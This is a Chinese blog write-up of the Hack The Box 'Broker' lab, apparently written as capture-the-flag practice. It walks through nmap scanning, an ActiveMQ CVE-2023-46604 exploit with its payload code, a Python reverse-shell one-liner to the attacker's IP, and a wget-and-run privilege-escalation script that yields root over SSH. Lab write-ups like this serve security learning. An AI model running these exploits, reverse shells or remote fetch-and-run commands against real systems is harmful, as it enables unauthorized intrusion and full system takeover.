HTB Broker 渗透测试详细记录

你是慕鸢呀~ 发布于 5 天前 8 次阅读 1698 字 预计阅读时间: 8 分钟


AI 摘要

本文详细记录了针对 HTB Broker 靶机的渗透测试全过程,展示了从信息收集到最终提权的完整攻击链。关键步骤包括: 1. 通过Nmap扫描发现ActiveMQ 5.15.15服务 2. 利用CVE-2023-46604漏洞实现远程代码执行 3. 获取activemq用户权限并建立交互式shell 4. 发现nginx配置错误导致的sudo提权漏洞 5. 使用专用提权脚本获取root权限 技术亮点: - 利用ActiveMQ反序列化漏洞实现初始访问 - 通过python反弹shell绕过限制 - 巧妙利用nginx的sudo配置错误实现权限提升 整个渗透过程展现了系统化漏洞利用思路和实战技巧,特别适合学习现代Web应用渗透测试方法。

HTB Broker 渗透测试详细记录

摘要

本文详细记录了针对 HTB Broker 靶机的完整渗透测试过程。从基础端口扫描开始,通过发现 Apache ActiveMQ 服务存在 CVE-2023-46604 远程代码执行漏洞,成功获得初始立足点。随后利用 nginx 配置权限提升漏洞,最终获得 root 权限。整个攻击链路清晰,展现了从信息收集到权限提升的完整操作流程。

关键技术

  • CVE-2023-46604 (Apache ActiveMQ RCE)
  • nginx sudo 配置错误导致的提权

1. 初始侦察阶段

1.1 快速端口扫描

首先使用 Nmap 进行快速全端口扫描,以识别所有开放端口:

nmap -sT -min-rate 10000 -p- 10.10.11.243

参数解释:

  • -sT: TCP Connect 扫描,完成完整的 TCP 三次握手
  • -min-rate 10000: 设置最小发包速率为 10000 包/秒,加快扫描速度
  • -p-: 扫描全部 65535 个端口
  • 10.10.11.243: 目标 IP 地址

扫描结果:

22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
8161/tcp  open  patrol-snmp
61616/tcp open  unknown

发现 5 个开放端口,其中 61616 端口服务未知,需要进一步探测。

2. 服务探测与信息收集

2.1 深度服务识别

对发现的开放端口进行深度扫描,识别具体服务版本:

nmap -sT -sC -sV -p22,80,8161,61616 10.10.11.243

参数解释:

  • -sT: TCP Connect 扫描
  • -sC: 运行默认脚本扫描,执行常见的枚举脚本
  • -sV: 服务版本探测
  • -p22,80,8161,61616: 指定扫描端口

详细扫描结果:

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
8161/tcp  open  http     Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open  apachemq ActiveMQ OpenWire transport 5.15.15
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2.2 关键发现

  1. SSH 服务 (22/tcp): OpenSSH 8.9p1,版本较新
  2. HTTP 服务 (80/tcp): nginx 1.18.0,存在 401 认证要求,认证域为 "ActiveMQRealm"
  3. 管理面板 (8161/tcp): Jetty 服务器,同样需要 ActiveMQRealm 认证
  4. ActiveMQ 服务 (61616/tcp): Apache ActiveMQ OpenWire transport 5.15.15

关键发现:ActiveMQ 5.15.15 版本存在已知的远程代码执行漏洞。

3. 漏洞识别与初始访问

3.1 漏洞确认

通过版本信息识别到 Apache ActiveMQ 5.15.15 存在 CVE-2023-46604 远程代码执行漏洞。该漏洞允许未认证的攻击者通过操纵序列化的类类型,导致代理加载任意类,从而实现远程代码执行。

3.2 漏洞利用准备

获取漏洞利用脚本:

git clone https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell

3.3 漏洞利用代码分析

该exploit的核心代码实现了以下功能:

def execute(ip, port, srvip, srvport, command, url):
    class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
    message = url
    header = "1f00000000000000000001"
    body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
    payload = int2hex(len(body) // 2, 8) + body
    data = bytes.fromhex(payload)
    conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    conn.connect((ip, port))
    conn.send(data)
    conn.close()

通过构造恶意的序列化数据,触发 ActiveMQ 加载远程 XML 配置文件,从而执行任意命令。

3.4 执行漏洞利用

启动攻击脚本:

python3 exploit.py -i 10.10.11.243 -p 61616 -si 10.10.16.11 -sp 8080

参数解释:

  • -i 10.10.11.243: 目标 ActiveMQ 服务器 IP
  • -p 61616: ActiveMQ OpenWire 端口
  • -si 10.10.16.11: 攻击者 IP(用于接收回连)
  • -sp 8080: 本地 HTTP 服务端口(托管恶意 XML)

执行输出:

#################################################################################
#  CVE-2023-46604 - Apache ActiveMQ - Remote Code Execution - Pseudo Shell      #
#  Exploit by Ducksec, Original POC by X1r0z, Python POC by evkl1d              #
#################################################################################

[*] Target: 10.10.11.243:61616
[*] Serving XML at: http://10.10.16.11:8080/poc.xml
[!] This is a semi-interactive pseudo-shell, you cannot cd, but you can ls-lah / for example.
[*] Type 'exit' to quit

#################################################################################
# Not yet connected, send a command to test connection to host.                 #
# Prompt will change to Apache ActiveMQ$ once at least one response is received #
# Please note this is a one-off connection check, re-run the script if you      #
# want to re-check the connection.                                              #
#################################################################################

[Target not responding!]$ whoami
activemq

Apache ActiveMQ$ cat /home/activemq/user.txt
1329219fea51ab6eb6643b071813d35e

成功获得 user flag: 1329219fea51ab6eb6643b071813d35e

3.5 获取交互式 Shell

  1. 本地监听器设置:
nc -lnvp 9002

参数解释:

  • -l: 监听模式
  • -n: 不进行 DNS 解析
  • -v: 详细输出
  • -p 9002: 监听端口 9002
  1. 目标机执行反弹 shell:
/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.11",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
  1. Shell 升级: 获得连接后,升级为完整的 bash shell:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'

这里有一个坑点,如果使用bash之类的反弹shell,会直接导致反弹shell直接卡死,根据经验,如果目标机器有python的话,尽量使用python进行反弹shell,避免不必要的时间浪费。

4. 横向移动

在本次渗透测试中,由于目标系统相对简单,没有涉及横向移动。直接进入权限提升阶段。

5. 权限提升前的信息收集

5.1 sudo 权限枚举

检查当前用户的 sudo 权限:

activemq@broker:~$ sudo -l

输出结果:

Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

6. 权限提升

6.1 nginx sudo 提权漏洞利用

发现 nginx 可以以 root 权限运行,这是一个典型的配置错误。使用专门的提权脚本:

https://github.com/DylanGrl/nginx_sudo_privesc

  1. 下载提权脚本: 在攻击机上设置 HTTP 服务器:
python3 -m http.server 8888
  1. 在目标机上下载这个sh脚本,并在 /home/activemq 目录执行
cd /home/activemq
wget http://10.10.16.11:8888/exploit.sh
chmod 777 exploit.sh
./exploit.sh

这里要注意,由于脚本写的健壮性不佳,所以如果在别的目录执行,会导致无法提权

6.2 SSH 密钥提取

提权脚本执行后会生成可用于 SSH 连接的 root 私钥。将输出的私钥保存为 id_rsa 文件。

6.3 获取 root 权限

  1. 设置密钥权限:
chmod 600 id_rsa
  1. SSH 连接获取 root:
ssh -i id_rsa root@10.10.11.243

成功获得 root 权限,读取 root flag。

7. 总结

完整攻击链路图

┌─────────────────┐     ┌──────────────────┐     ┌─────────────────┐     ┌──────────────┐
│  Nmap 扫描      │ --> │ 发现 ActiveMQ    │ --> │ CVE-2023-46604  │ --> │ 获得 Shell   │
│  端口识别       │     │ 5.15.15 版本     │     │ RCE 漏洞利用    │     │ (activemq)   │
└─────────────────┘     └──────────────────┘     └─────────────────┘     └──────────────┘
                                                                                   │
                                                                                   ▼
┌─────────────────┐     ┌──────────────────┐     ┌─────────────────┐     ┌──────────────┐
│  Root 权限      │ <-- │ SSH 密钥登录     │ <-- │ nginx sudo      │ <-- │ sudo -l        │
│  获取成功        │     │ root@broker      │     │ 提权漏洞利用    │      │ 权限枚举         │
└─────────────────┘     └──────────────────┘     └─────────────────┘     └──────────────┘

各阶段关键点总结

  1. 信息收集阶段:通过 Nmap 扫描发现 ActiveMQ 服务运行在非标准端口 61616
  2. 漏洞识别阶段:版本识别确认 ActiveMQ 5.15.15 存在 CVE-2023-46604 RCE 漏洞
  3. 初始访问阶段:利用 RCE 漏洞获得 activemq 用户权限
  4. 权限提升阶段:发现 nginx sudo 配置错误,利用公开脚本成功提权至 root

攻击向量简明展示

  • 入口点: Apache ActiveMQ 5.15.15 (CVE-2023-46604)
  • 初始权限: activemq 用户
  • 提权方式: nginx sudo NOPASSWD 配置错误
  • 最终权限: root

结束语

本次打靶练习展现了一个典型的漏洞利用链条:从公开漏洞获得初始访问,到利用配置错误实现提权。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-06-28